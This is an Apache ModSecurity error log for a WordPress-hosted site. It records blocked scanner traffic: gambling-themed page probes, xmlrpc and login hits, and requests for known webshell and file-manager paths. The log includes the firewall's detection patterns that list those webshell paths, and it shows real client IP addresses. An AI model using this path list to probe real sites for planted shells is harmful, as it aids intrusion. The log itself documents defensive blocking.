[Sat Mar 14 23:31:19.760887 2026] [:error] [pid 49351:tid 49356] [client 38.242.236.112:36018] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abV_RxzAvuOUcwe0iz-JxQAAAwI"]
[Sat Mar 14 23:31:22.674801 2026] [:error] [pid 61477:tid 61505] [client 38.242.236.112:36022] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abV_Sqcx6muYfIYRM7DhUQAAAFg"]
[Sat Mar 14 23:31:25.267001 2026] [:error] [pid 49351:tid 49354] [client 38.242.236.112:36026] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abV_TRzAvuOUcwe0iz-J5AAAAwA"]
[Sat Mar 14 23:31:27.909409 2026] [:error] [pid 49293:tid 49319] [client 38.242.236.112:36036] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abV_TzAUTjJFxypCRwKYZQAAAtg"]
[Sat Mar 14 23:31:51.777000 2026] [:error] [pid 61477:tid 61494] [client 38.242.236.112:42164] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "abV_Z6cx6muYfIYRM7DhYQAAAE0"]
[Sat Mar 14 23:31:54.662821 2026] [:error] [pid 49293:tid 49317] [client 38.242.236.112:35856] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abV_ajAUTjJFxypCRwKYgAAAAtY"]
[Sat Mar 14 23:31:57.287018 2026] [:error] [pid 49293:tid 49312] [client 38.242.236.112:35860] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abV_bTAUTjJFxypCRwKYhAAAAtE"]
[Sat Mar 14 23:31:59.869082 2026] [:error] [pid 49293:tid 49305] [client 38.242.236.112:43656] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abV_bzAUTjJFxypCRwKYiQAAAso"]
[Sat Mar 14 23:32:03.124198 2026] [:error] [pid 49467:tid 49476] [client 38.242.236.112:43666] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abV_cxZmjGJLG92GJiSqSgAAA8c"]
[Sat Mar 14 23:32:06.084652 2026] [:error] [pid 30154:tid 30177] [client 38.242.236.112:43674] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abV_dl6OP9woRgp3v0G0qwAAANE"]
[Sat Mar 14 23:32:08.871682 2026] [:error] [pid 49351:tid 49358] [client 38.242.236.112:34746] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abV_eBzAvuOUcwe0iz-KGAAAAwQ"]
[Sat Mar 14 23:32:11.465612 2026] [:error] [pid 30154:tid 30179] [client 38.242.236.112:34762] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abV_e16OP9woRgp3v0G0twAAANM"]
[Sat Mar 14 23:32:14.153333 2026] [:error] [pid 49467:tid 49492] [client 38.242.236.112:34770] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abV_fhZmjGJLG92GJiSqUQAAA9c"]
[Sat Mar 14 23:32:16.641012 2026] [:error] [pid 49351:tid 49361] [client 38.242.236.112:34784] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abV_gBzAvuOUcwe0iz-KIgAAAwc"]
[Sat Mar 14 23:32:19.143006 2026] [:error] [pid 49351:tid 49378] [client 38.242.236.112:55818] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abV_gxzAvuOUcwe0iz-KKAAAAxg"]
[Sat Mar 14 23:32:21.783129 2026] [:error] [pid 49351:tid 49361] [client 38.242.236.112:55822] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abV_hRzAvuOUcwe0iz-KLwAAAwc"]
[Sat Mar 14 23:32:24.422399 2026] [:error] [pid 61383:tid 61435] [client 38.242.236.112:55834] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abV_iC4SAn4TCd4o0dUlMAAAARM"]
[Sat Mar 14 23:32:27.068854 2026] [:error] [pid 49293:tid 49309] [client 38.242.236.112:55842] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abV_izAUTjJFxypCRwKYkgAAAs4"]
[Sat Mar 14 23:32:29.696592 2026] [:error] [pid 49293:tid 49295] [client 38.242.236.112:46562] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abV_jTAUTjJFxypCRwKYlQAAAsA"]
[Sat Mar 14 23:32:32.258181 2026] [:error] [pid 30154:tid 30168] [client 38.242.236.112:46568] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abV_kF6OP9woRgp3v0G0xQAAAMg"]
[Sat Mar 14 23:32:34.792460 2026] [:error] [pid 30154:tid 30183] [client 38.242.236.112:46582] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abV_kl6OP9woRgp3v0G0xgAAANc"]
[Sat Mar 14 23:32:37.362337 2026] [:error] [pid 49433:tid 49444] [client 38.242.236.112:46586] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abV_lcEQ_2QRXp9zrWZibAAAA4k"]
[Sat Mar 14 23:32:39.907065 2026] [:error] [pid 30154:tid 30163] [client 38.242.236.112:41314] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abV_l16OP9woRgp3v0G0yQAAAMM"]
[Sat Mar 14 23:32:42.670354 2026] [:error] [pid 30154:tid 30169] [client 38.242.236.112:41324] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abV_ml6OP9woRgp3v0G0zAAAAMk"]
[Sat Mar 14 23:32:45.440602 2026] [:error] [pid 49433:tid 49439] [client 38.242.236.112:41332] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abV_ncEQ_2QRXp9zrWZidQAAA4Q"]
[Sat Mar 14 23:32:47.944430 2026] [:error] [pid 49433:tid 49456] [client 38.242.236.112:41348] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abV_n8EQ_2QRXp9zrWZieAAAA5U"]
[Sat Mar 14 23:33:08.875322 2026] [:error] [pid 49351:tid 49362] [client 38.242.236.112:53326] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abV_tBzAvuOUcwe0iz-KaQAAAwg"]
[Sat Mar 14 23:33:11.456616 2026] [:error] [pid 49293:tid 49309] [client 38.242.236.112:50086] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abV_tzAUTjJFxypCRwKYwwAAAs4"]
[Sat Mar 14 23:33:14.058845 2026] [:error] [pid 61382:tid 61410] [client 38.242.236.112:50096] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abV_uv5UUtpNLvwsJ7gSegAAABg"]
[Sat Mar 14 23:33:16.653195 2026] [:error] [pid 49351:tid 49373] [client 38.242.236.112:50108] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abV_vBzAvuOUcwe0iz-KcAAAAxM"]
[Sat Mar 14 23:33:19.264095 2026] [:error] [pid 61477:tid 61491] [client 38.242.236.112:54780] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abV_v6cx6muYfIYRM7DhfAAAAEo"]
[Sat Mar 14 23:33:21.756248 2026] [:error] [pid 61384:tid 61444] [client 38.242.236.112:54790] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abV_wfzibL2IYJprDHLPLQAAAcE"]
[Sat Mar 14 23:33:24.285148 2026] [:error] [pid 61384:tid 61449] [client 38.242.236.112:54800] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abV_xPzibL2IYJprDHLPLwAAAcY"]
[Sat Mar 14 23:33:26.803582 2026] [:error] [pid 49351:tid 49356] [client 38.242.236.112:54810] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abV_xhzAvuOUcwe0iz-KhgAAAwI"]
[Sun Mar 15 00:57:16.352841 2026] [:error] [pid 20020:tid 20024] [client 179.54.100.168:60384] [client 179.54.100.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.54.100.168, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abWTbEPjaRwagw2fU7j9pwAAAEI"]
[Sun Mar 15 03:25:23.313971 2026] [:error] [pid 20020:tid 20032] [client 49.51.52.250:39612] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abW2I0PjaRwagw2fU7g5cgAAAEo"]
[Sun Mar 15 05:02:56.085445 2026] [:error] [pid 38536:tid 38555] [client 49.51.233.95:56820] [client 49.51.233.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abXNAPpTEqkVJ0rBEWt1jQAAAAI"]
[Sun Mar 15 05:33:49.742674 2026] [:error] [pid 38536:tid 38569] [client 209.87.169.88:36881] [client 209.87.169.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.88, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abXUPfpTEqkVJ0rBEWuDNAAAABA"]
[Sun Mar 15 06:43:01.691856 2026] [:error] [pid 38540:tid 38594] [client 182.44.12.37:56978] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abXkdV8bnHsJ1dE90bLy9AAAAEg"]
[Sun Mar 15 09:16:02.614180 2026] [:error] [pid 38540:tid 38601] [client 158.51.121.45:61985] [client 158.51.121.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.51.121.45, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abYIUl8bnHsJ1dE90bIMawAAAE8"]
[Sun Mar 15 10:09:04.813452 2026] [autoindex:error] [pid 38541:tid 38617] [client 20.244.84.206:51593] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 15 10:41:40.334328 2026] [:error] [pid 38540:tid 38599] [client 212.30.33.164:49415] [client 212.30.33.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "abYcZF8bnHsJ1dE90bIaiwAAAE0"]
[Sun Mar 15 10:41:54.587830 2026] [:error] [pid 9995:tid 10010] [client 212.30.33.59:48243] [client 212.30.33.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "abYccga8xkcaSmgTbwguTwAAAQw"]
[Sun Mar 15 10:42:12.120453 2026] [:error] [pid 38536:tid 38560] [client 212.30.33.99:61329] [client 212.30.33.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "abYchPpTEqkVJ0rBEWvDaAAAAAc"]
[Sun Mar 15 10:42:21.091456 2026] [:error] [pid 38541:tid 38619] [client 212.30.33.213:29131] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "abYcjXuOpex8jIO0jt4xcQAAAIY"]
[Sun Mar 15 10:42:21.897770 2026] [:error] [pid 9995:tid 10019] [client 212.30.33.75:48563] [client 212.30.33.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "abYcjQa8xkcaSmgTbwgu3AAAARU"]
[Sun Mar 15 10:42:25.203191 2026] [:error] [pid 50986:tid 51007] [client 212.30.33.55:26775] [client 212.30.33.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abYckSknK4c779bcQqHhVAAAAVI"]
[Sun Mar 15 10:42:26.433253 2026] [:error] [pid 38541:tid 38631] [client 212.30.33.89:51143] [client 212.30.33.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "abYcknuOpex8jIO0jt4xsAAAAJI"]
[Sun Mar 15 10:42:28.069761 2026] [:error] [pid 50986:tid 51012] [client 212.30.33.79:33171] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "abYclCknK4c779bcQqHhbAAAAVc"]
[Sun Mar 15 10:42:31.422335 2026] [:error] [pid 38541:tid 38628] [client 212.30.33.75:52751] [client 212.30.33.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "abYcl3uOpex8jIO0jt4x-AAAAI8"]
[Sun Mar 15 10:42:33.051999 2026] [proxy_fcgi:error] [pid 38536:tid 38563] [client 212.30.33.179:20437] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:42:33.454287 2026] [:error] [pid 38536:tid 38560] [client 212.30.33.179:20437] [client 212.30.33.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "abYcmfpTEqkVJ0rBEWvD6AAAAAc"]
